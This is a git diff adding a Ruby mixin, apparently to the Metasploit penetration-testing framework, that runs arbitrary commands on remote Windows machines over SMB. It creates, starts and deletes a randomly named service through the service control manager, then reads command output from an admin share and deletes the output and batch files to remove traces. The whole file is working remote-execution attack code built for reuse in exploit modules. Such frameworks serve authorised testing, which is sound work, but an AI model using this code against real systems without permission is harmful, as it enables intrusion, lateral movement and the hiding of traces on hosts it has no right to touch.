diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb new file mode 100644 index 0000000000..103241a30f --- /dev/null +++ b/lib/msf/core/exploit/psexec.rb @@ -0,0 +1,201 @@ +require 'msf/core' + +module Msf + +#### +# This module alows for reuse of the psexec code execution module +# This code was stolen straight out of psexec.rb.Thanks very much for all +# who contributed to that module!! Instead of uploading and runing a binary. +#### + +module Exploit::Remote::Psexec + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue StandardError => output_error + print_error("Error getting command output. #{output_error.class}. #{output_error}.") + return nil + end + end + + + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) + + simple.connect("IPC$") + + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") + + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil + + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end + + # This is the cleanup method, removes .txt and .bat file/s created during execution + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param text [File Path] Path to the text file relative to the smbshare + # Example: '\WINDOWS\Temp\output.txt' + # @param bat [File Path] Full path to the batch file created + # Example: 'C:\WINDOWS\Temp\batchfile.bat' + # @return only in the event of an error + def cleanup_after(smbshare, ip, text, bat) + begin + # Try and do cleanup command/s + cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" + print_status("#{peer} - Executing cleanup...") + psexec(cleanup) + if !check_cleanup(smbshare, ip, text) + print_error("#{peer} - Unable to cleanup. Make sure to manually remove files from the target.") + else + print_status("#{peer} - Cleanup was successful") + end + rescue StandardError => cleanuperror + print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") + print_error("#{peer} - Make sure to manually remove files from the target") + return cleanuperror + end + end + + # Make sure the cleanup command worked + # This method should only be called from within cleanup_after + def check_cleanup(smbshare, ip, text) + simple.connect("\\\\#{ip}\\#{smbshare}") + begin + if checktext = simple.open(text, 'ro') + check = false + else + check = true + end + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return check + rescue StandardError => check_error + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return true + end + end + +end + +end